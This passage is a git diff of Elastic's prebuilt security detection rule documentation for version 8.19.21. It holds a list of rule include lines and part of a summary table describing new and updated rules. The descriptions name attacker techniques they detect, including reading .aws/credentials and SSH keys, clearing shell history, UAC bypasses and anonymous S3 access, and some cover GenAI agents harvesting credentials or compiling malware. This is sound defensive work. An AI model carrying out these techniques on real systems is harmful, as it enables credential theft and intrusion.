+include::prebuilt-rule-8-19-21-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc[] +include::prebuilt-rule-8-19-21-enable-host-network-discovery-via-netsh.asciidoc[] +include::prebuilt-rule-8-19-21-control-panel-process-with-unusual-arguments.asciidoc[] +include::prebuilt-rule-8-19-21-imageload-via-windows-update-auto-update-client.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-build-engine-started-by-an-office-application.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-build-engine-started-by-a-system-process.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-build-engine-using-an-alternate-name.asciidoc[] +include::prebuilt-rule-8-19-21-potential-dll-side-loading-via-trusted-microsoft-programs.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-microsoft-antimalware-service-execution.asciidoc[] +include::prebuilt-rule-8-19-21-executable-file-creation-with-multiple-extensions.asciidoc[] +include::prebuilt-rule-8-19-21-process-execution-from-an-unusual-directory.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-encoded-executable-stored-in-the-registry.asciidoc[] +include::prebuilt-rule-8-19-21-iis-http-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-proxy-execution-via-console-window-host.asciidoc[] +include::prebuilt-rule-8-19-21-command-execution-via-forfiles.asciidoc[] +include::prebuilt-rule-8-19-21-proxy-execution-via-windows-openssh.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-windows-command-debugging-utility.asciidoc[] +include::prebuilt-rule-8-19-21-disabling-lsa-protection-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-endpoint-security-parent-process.asciidoc[] +include::prebuilt-rule-8-19-21-renamed-automation-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-werfault-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-program-files-directory-masquerading.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-windows-defender-tampering.asciidoc[] +include::prebuilt-rule-8-19-21-system-file-ownership-change.asciidoc[] +include::prebuilt-rule-8-19-21-ms-office-macro-security-registry-modifications.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-microsoft-html-application-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-potential-remote-install-via-msiexec.asciidoc[] +include::prebuilt-rule-8-19-21-potential-netntlmv1-downgrade-attack.asciidoc[] +include::prebuilt-rule-8-19-21-command-obfuscation-via-unicode-modifier-letters.asciidoc[] +include::prebuilt-rule-8-19-21-local-account-tokenfilter-policy-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-windows-firewall-disabled-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-microsoft-diagnostics-wizard-execution.asciidoc[] +include::prebuilt-rule-8-19-21-dns-global-query-block-list-modified-or-disabled.asciidoc[] +include::prebuilt-rule-8-19-21-potential-remotemonologue-attack.asciidoc[] +include::prebuilt-rule-8-19-21-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc[] +include::prebuilt-rule-8-19-21-alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc[] +include::prebuilt-rule-8-19-21-windows-sandbox-with-sensitive-configuration.asciidoc[] +include::prebuilt-rule-8-19-21-service-dacl-modification-via-sc-exe.asciidoc[] +include::prebuilt-rule-8-19-21-scheduled-tasks-at-command-enabled.asciidoc[] +include::prebuilt-rule-8-19-21-script-execution-via-microsoft-html-application.asciidoc[] +include::prebuilt-rule-8-19-21-potential-secure-file-deletion-via-sdelete-utility.asciidoc[] +include::prebuilt-rule-8-19-21-sip-provider-modification.asciidoc[] +include::prebuilt-rule-8-19-21-solarwinds-process-disabling-services-via-registry.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-certutil-commands.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-managed-code-hosting-process.asciidoc[] +include::prebuilt-rule-8-19-21-renamed-utility-executed-with-short-program-name.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-zoom-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-executable-file-creation-by-a-system-critical-process.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-file-creation-alternate-data-stream.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-process-execution-path-alternate-data-stream.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-child-process-from-a-system-virtual-process.asciidoc[] +include::prebuilt-rule-8-19-21-potential-evasion-via-filter-manager.asciidoc[] +include::prebuilt-rule-8-19-21-wdac-policy-file-by-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-21-signed-proxy-execution-via-ms-work-folders.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-windows-subsystem-for-linux.asciidoc[] +include::prebuilt-rule-8-19-21-windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc[] +include::prebuilt-rule-8-19-21-attempt-to-install-kali-linux-via-wsl.asciidoc[] +include::prebuilt-rule-8-19-21-windows-subsystem-for-linux-distribution-installed.asciidoc[] +include::prebuilt-rule-8-19-21-active-directory-discovery-using-adexplorer.asciidoc[] +include::prebuilt-rule-8-19-21-adfind-command-activity.asciidoc[] +include::prebuilt-rule-8-19-21-enumeration-of-administrator-accounts.asciidoc[] +include::prebuilt-rule-8-19-21-enumerating-domain-trusts-via-dsquery-exe.asciidoc[] +include::prebuilt-rule-8-19-21-enumerating-domain-trusts-via-nltest-exe.asciidoc[] +include::prebuilt-rule-8-19-21-group-policy-discovery-via-microsoft-gpresult-utility.asciidoc[] +include::prebuilt-rule-8-19-21-peripheral-device-discovery.asciidoc[] +include::prebuilt-rule-8-19-21-whoami-process-activity.asciidoc[] +include::prebuilt-rule-8-19-21-command-execution-via-solarwinds-process.asciidoc[] +include::prebuilt-rule-8-19-21-execution-of-com-object-via-xwizard.asciidoc[] +include::prebuilt-rule-8-19-21-svchost-spawning-cmd.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-parent-process-for-cmd-exe.asciidoc[] +include::prebuilt-rule-8-19-21-command-shell-activity-started-via-rundll32.asciidoc[] +include::prebuilt-rule-8-19-21-enumeration-command-spawned-via-wmiprvse.asciidoc[] +include::prebuilt-rule-8-19-21-execution-from-unusual-directory-command-line.asciidoc[] +include::prebuilt-rule-8-19-21-potential-foxmail-exploitation.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-execution-via-microsoft-common-console-file.asciidoc[] +include::prebuilt-rule-8-19-21-mofcomp-activity.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-execution-with-nodejs.asciidoc[] +include::prebuilt-rule-8-19-21-potential-notepad-markdown-rce-exploitation.asciidoc[] +include::prebuilt-rule-8-19-21-command-and-scripting-interpreter-via-windows-scripts.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-execution-from-a-webdav-share.asciidoc[] +include::prebuilt-rule-8-19-21-windows-script-execution-from-archive.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-local-sxs-shared-module.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-javascript-execution-via-deno.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-cmd-execution-via-wmi.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-pdf-reader-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-process-execution-via-renamed-psexec-executable.asciidoc[] +include::prebuilt-rule-8-19-21-process-activity-via-compiled-html-file.asciidoc[] +include::prebuilt-rule-8-19-21-conhost-spawned-by-suspicious-parent-process.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-management-console-file-from-unusual-path.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-windows-command-shell-arguments.asciidoc[] +include::prebuilt-rule-8-19-21-potential-fake-captcha-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-21-potential-execution-via-filefix-phishing-attack.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-windows-powershell-arguments.asciidoc[] +include::prebuilt-rule-8-19-21-potential-data-exfiltration-via-rclone.asciidoc[] +include::prebuilt-rule-8-19-21-rare-smb-connection-to-the-internet.asciidoc[] +include::prebuilt-rule-8-19-21-backup-deletion-with-wbadmin.asciidoc[] +include::prebuilt-rule-8-19-21-potential-system-tampering-via-file-modification.asciidoc[] +include::prebuilt-rule-8-19-21-modification-of-boot-configuration.asciidoc[] +include::prebuilt-rule-8-19-21-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc[] +include::prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-wmic.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-execution-from-inet-cache.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-execution-via-microsoft-office-add-ins.asciidoc[] +include::prebuilt-rule-8-19-21-first-time-seen-removable-device.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-jetbrains-teamcity-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-remote-desktop-file-opened-from-suspicious-path.asciidoc[] +include::prebuilt-rule-8-19-21-windows-script-executing-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-exchange-server-um-writing-suspicious-files.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-exchange-server-um-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-21-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-ms-office-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-ms-outlook-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-windows-server-update-service-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-21-potential-cve-2025-33053-exploitation.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-explorer-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-screenconnect-server-spawning-suspicious-processes.asciidoc[] +include::prebuilt-rule-8-19-21-nullsessionpipe-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-potential-remote-desktop-shadowing-activity.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-tsclient-mountpoint.asciidoc[] +include::prebuilt-rule-8-19-21-wmi-incoming-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-21-mounting-hidden-or-webdav-remote-shares.asciidoc[] +include::prebuilt-rule-8-19-21-rdp-enabled-via-registry.asciidoc[] +include::prebuilt-rule-8-19-21-remote-file-copy-to-a-hidden-share.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-child-process-of-dns-exe.asciidoc[] +include::prebuilt-rule-8-19-21-lateral-movement-via-startup-folder.asciidoc[] +include::prebuilt-rule-8-19-21-potential-wsus-abuse-for-lateral-movement.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-adobe-hijack-persistence.asciidoc[] +include::prebuilt-rule-8-19-21-installation-of-custom-shim-databases.asciidoc[] +include::prebuilt-rule-8-19-21-registry-persistence-via-appcert-dll.asciidoc[] +include::prebuilt-rule-8-19-21-registry-persistence-via-appinit-dll.asciidoc[] +include::prebuilt-rule-8-19-21-browser-extension-install.asciidoc[] +include::prebuilt-rule-8-19-21-creation-of-a-hidden-local-user-account.asciidoc[] +include::prebuilt-rule-8-19-21-image-file-execution-options-injection.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-startup-shell-folder-modification.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-scheduled-job-creation.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-microsoft-office-addins.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-microsoft-outlook-vba.asciidoc[] +include::prebuilt-rule-8-19-21-office-test-registry-persistence.asciidoc[] +include::prebuilt-rule-8-19-21-netsh-helper-dll.asciidoc[] +include::prebuilt-rule-8-19-21-new-activesyncalloweddeviceid-added-via-powershell.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-powershell-profile.asciidoc[] +include::prebuilt-rule-8-19-21-potential-modification-of-accessibility-binaries.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-persistence-via-services-registry.asciidoc[] +include::prebuilt-rule-8-19-21-startup-persistence-by-a-suspicious-process.asciidoc[] +include::prebuilt-rule-8-19-21-persistent-scripts-in-the-startup-directory.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-imagepath-service-creation.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-wmi-event-subscription-created.asciidoc[] +include::prebuilt-rule-8-19-21-system-shells-via-services.asciidoc[] +include::prebuilt-rule-8-19-21-potential-persistence-via-time-provider-modification.asciidoc[] +include::prebuilt-rule-8-19-21-user-account-creation.asciidoc[] +include::prebuilt-rule-8-19-21-potential-application-shimming-via-sdbinst.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-bits-job-notify-cmdline.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-hidden-run-key-detected.asciidoc[] +include::prebuilt-rule-8-19-21-installation-of-security-support-provider.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-update-orchestrator-service-hijack.asciidoc[] +include::prebuilt-rule-8-19-21-persistence-via-wmi-event-subscription.asciidoc[] +include::prebuilt-rule-8-19-21-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc[] +include::prebuilt-rule-8-19-21-potential-web-shell-aspx-file-creation.asciidoc[] +include::prebuilt-rule-8-19-21-web-shell-detection-script-process-child-of-common-web-processes.asciidoc[] +include::prebuilt-rule-8-19-21-werfault-reflectdebugger-persistence.asciidoc[] +include::prebuilt-rule-8-19-21-disabling-user-account-control-via-registry-modification.asciidoc[] +include::prebuilt-rule-8-19-21-potential-privilege-escalation-via-cve-2022-38028.asciidoc[] +include::prebuilt-rule-8-19-21-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc[] +include::prebuilt-rule-8-19-21-potential-lsa-authentication-package-abuse.asciidoc[] +include::prebuilt-rule-8-19-21-potential-escalation-via-vulnerable-msi-repair.asciidoc[] +include::prebuilt-rule-8-19-21-privilege-escalation-via-named-pipe-impersonation.asciidoc[] +include::prebuilt-rule-8-19-21-potential-port-monitor-or-print-processor-registration-abuse.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-print-spooler-point-and-print-dll.asciidoc[] +include::prebuilt-rule-8-19-21-deprecated-suspicious-printspooler-service-executable-file-creation.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-print-spooler-file-deletion.asciidoc[] +include::prebuilt-rule-8-19-21-suspicious-print-spooler-spl-file-created.asciidoc[] +include::prebuilt-rule-8-19-21-potential-privilege-escalation-via-service-imagepath-modification.asciidoc[] +include::prebuilt-rule-8-19-21-privilege-escalation-via-windir-environment-variable.asciidoc[] +include::prebuilt-rule-8-19-21-service-control-spawned-via-script-interpreter.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-attempt-with-ieditionupgrademanager-elevated-com-interface.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-attempt-via-elevated-com-internet-explorer-add-on-installer.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-via-icmluautil-elevated-com-interface.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-via-diskcleanup-scheduled-task-hijack.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-attempt-via-privileged-ifileoperation-com-interface.asciidoc[] +include::prebuilt-rule-8-19-21-bypass-uac-via-event-viewer.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-attempt-via-windows-directory-masquerading.asciidoc[] +include::prebuilt-rule-8-19-21-uac-bypass-via-windows-firewall-snap-in-hijack.asciidoc[] +include::prebuilt-rule-8-19-21-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-parent-child-relationship.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-print-spooler-child-process.asciidoc[] +include::prebuilt-rule-8-19-21-unusual-service-host-child-process-childless-service.asciidoc[] +include::prebuilt-rule-8-19-21-process-created-with-an-elevated-token.asciidoc[] diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-summary.asciidoc new file mode 100644 index 0000000000..2fd784f341 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rules-8-19-21-summary.asciidoc @@ -0,0 +1,1440 @@ +[[prebuilt-rule-8-19-21-prebuilt-rules-8-19-21-summary]] +[role="xpack"] +== Update v8.19.21 + +This section lists all updates associated with version 8.19.21 of the Fleet integration *Prebuilt Security Detection Rules*. + + +[width="100%",options="header"] +|============================================== +|Rule |Description |Status |Version + +|<> | Identifies oversized command lines used by Python, PowerShell, Node.js, or Deno that contain base64 decoding or encoded-command patterns. Adversaries may embed long inline encoded payloads in scripting interpreters to evade inspection and execute malicious content across Windows, macOS, and Linux systems. | new | 1 + +|<> | Surfaces an AWS identity whose successful API traffic is dominated by a small set of large cloud-provider source AS organization labels, yet also shows a very small share of traffic from other AS organization names—including at least one sensitive control-plane, credential, storage, or model-invocation action on that uncommon network path with recent activity from the uncommon path. The intent is to highlight disproportionate “baseline” cloud egress versus sparse use from rarer networks on the same principal, a shape that can appear when automation or CI credentials are reused or pivoted outside their usual hosted-cloud footprint. | new | 1 + +|<> | Detects AWS access keys that are used from both GitHub Actions CI/CD infrastructure and non-CI/CD infrastructure. This pattern indicates potential credential theft where an attacker who has stolen AWS credentials configured as GitHub Actions secrets and is using them from their own infrastructure. | new | 1 + +|<> | This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. | new | 1 + +|<> | This rule detects the clearing of the shell history via environment variables. Attackers may clear the shell history to hide their activities from being tracked. By leveraging environment variables such as HISTSIZE, HISTFILESIZE, HISTCONTROL, and HISTFILE, attackers can clear the shell history by setting them to 0, ignoring spaces, or redirecting the history to /dev/null, effectively erasing the command history. | new | 1 + +|<> | Identifies the Internet Information Services (IIS) command-line tool, AppCmd, being used to dump sensitive configuration data such as application pool credentials. An attacker with IIS web server access via a web shell can extract service account passwords by requesting full configuration output or targeting credential-related fields. | new | 219 + +|<> | Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. | update | 6 + +|<> | This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. | update | 3 + +|<> | This detection correlates Suricata alerts with Elastic Defend network events to identify the source process performing the network activity. | update | 4 + +|<> | Identifies the use of the QEMU hardware emulator to potentially tunnel network traffic between Virtual machines. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. | update | 3 + +|<> | Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. | update | 6 + +|<> | This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. | update | 3 + +|<> | This rule detects authenticated sessions accessing secret stores across multiple environments from the same source address within a short period of time, including cloud providers (AWS, GCP, Azure) and Kubernetes clusters. Adversaries with access to compromised credentials or session tokens may attempt to retrieve secrets from services such as AWS Secrets Manager, Google Secret Manager, Azure Key Vault, or Kubernetes Secrets in rapid succession to expand their access or exfiltrate sensitive information. | update | 6 + +|<> | This rule detects the execution of TruffleHog, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. This tool was abused by the Shai-Hulud worm to search for credentials in code repositories. | update | 4 + +|<> | Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. | update | 3 + +|<> | Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. | update | 3 + +|<> | Detects when an Elastic Defend endpoint alert is generated on a host and is not followed by any subsequent endpoint telemetry (process, network, registry, library, or DNS events) within a short time window. This behavior may indicate endpoint security evasion, agent tampering, sensor disablement, service termination, system crash, or malicious interference with telemetry collection following detection. | update | 3 + +|<> | Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. | update | 4 + +|<> | This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. | update | 3 + +|<> | Detects the execution of suspicious shell commands via the Python interpreter. Attackers may use Python to execute shell commands to gain access to the system or to perform other malicious activities, such as credential access, data exfiltration, or lateral movement. | update | 4 + +|<> | This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process or by shell interpreters launched via a runner entrypoint script on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, reconnaissance, credential harvesting, or network exfiltration initiated through a compromised repository or unauthorized workflow. | update | 3 + +|<> | This rule correlate Entra-ID or Microsoft 365 mail successful sign-in events with network security alerts by source address. Adversaries may trigger some network security alerts such as reputation or other anomalies before accessing cloud resources. | update | 7 + +|<> | This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. | update | 3 + +|<> | Detects when a FortiGate SSL VPN login event is followed by any SIEM detection alert for the same user name within a short time window. This correlation can indicate abuse of VPN access for malicious activity, credential compromise used from a VPN session, or initial access via VPN followed by post-compromise behavior. | update | 3 + +|<> | This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. | update | 106 + +|<> | This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts. | update | 7 + +|<> | This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack. | update | 4 + +|<> | This rule uses alert data to determine when multiple different alerts involving the same user are triggered. Analysts can use this to prioritize triage and response, as these users are more likely to be compromised. | update | 8 + +|<> | This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | update | 4 + +|<> | This rule correlates multiple security alerts associated with the same ATT&CK tactic on a single host within a defined time window. By requiring alerts from multiple distinct detection rules, this detection helps identify hosts exhibiting concentrated malicious behavior, which may indicate an active intrusion or post-compromise activity. The rule is intended to assist analysts in prioritizing triage toward hosts with higher likelihood of compromise rather than signaling a single discrete event. | update | 4 + +|<> | This rule uses alert data to determine when multiple external EDR alerts involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised. | update | 4 + +|<> | This alert identifies assets with an elevated number of vulnerabilities reported by Wiz, potentially indicating weak security posture, missed patching, or active exposure. The rule highlights assets with a high volume of distinct vulnerabilities, the presence of exploitable vulnerabilities, or a combination of multiple severities, helping prioritize assets that pose increased risk. | update | 3 + +|<> | This rule detects Elastic SIEM high severity detection alerts that are observed for the first time in the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. | update | 5 + +|<> | This rule detects Palo Alto Network alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. | update | 3 + +|<> | This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. | update | 6 + +|<> | This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. | update | 5 + +|<> | This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | update | 4 + +|<> | This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. | update | 5 + +|<> | This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. | update | 5 + +|<> | Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. | update | 214 + +|<> | Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. | update | 9 + +|<> | Identifies the first occurrence of an unauthorized attempt by an AWS role to use `GetPassword` to access the administrator password of an EC2 instance. Adversaries may use this API call to escalate privileges or move laterally within EC2 instances. | update | 9 + +|<> | This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. | update | 7 + +|<> | Identifies the first time, within the configured history window, that a long-term IAM access key ID (prefix AKIA) is used successfully from a given source.ip in AWS CloudTrail. Long-term access keys belong to IAM users or the account root user. They are a common target after credential theft or leakage, including supply-chain and exposed-key scenarios. Temporary security credentials (prefix ASIA) and console sessions are excluded so the signal emphasizes programmatic access patterns. | update | 2 + +|<> | Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. | update | 215 + +|<> | An adversary with access to a compromised AWS service such as an EC2 instance, Lambda function, or other service may attempt to leverage the compromised service to access secrets in AWS Secrets Manager. This rule looks for the first time a specific user identity has programmatically retrieved a secret value from Secrets Manager using the GetSecretValue action. This rule assumes that AWS services such as Lambda functions and EC2 instances are setup with IAM role's assigned that have the necessary permissions to access the secrets in Secrets Manager. An adversary with access to a compromised AWS service would rely on its' attached role to access the secrets in Secrets Manager. | update | 319 + +|<> | Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. | update | 8 + +|<> | Detects the first occurrence of a user identity accessing AWS Systems Manager (SSM) SecureString parameters using the GetParameter or GetParameters API actions with credentials in the request parameters. This could indicate that the user is accessing sensitive information. This rule detects when a user accesses a SecureString parameter with the withDecryption parameter set to true. This is a New Terms rule that detects the first occurrence of an AWS identity accessing SecureString parameters with decryption. | update | 9 + +|<> | Identifies a high number of failed authentication attempts to the AWS management console for the Root user identity. An adversary may attempt to brute force the password for the Root user identity, as it has complete access to all services and resources for the AWS account. | update | 214 + +|<> | Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. | update | 216 + +|<> | Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size 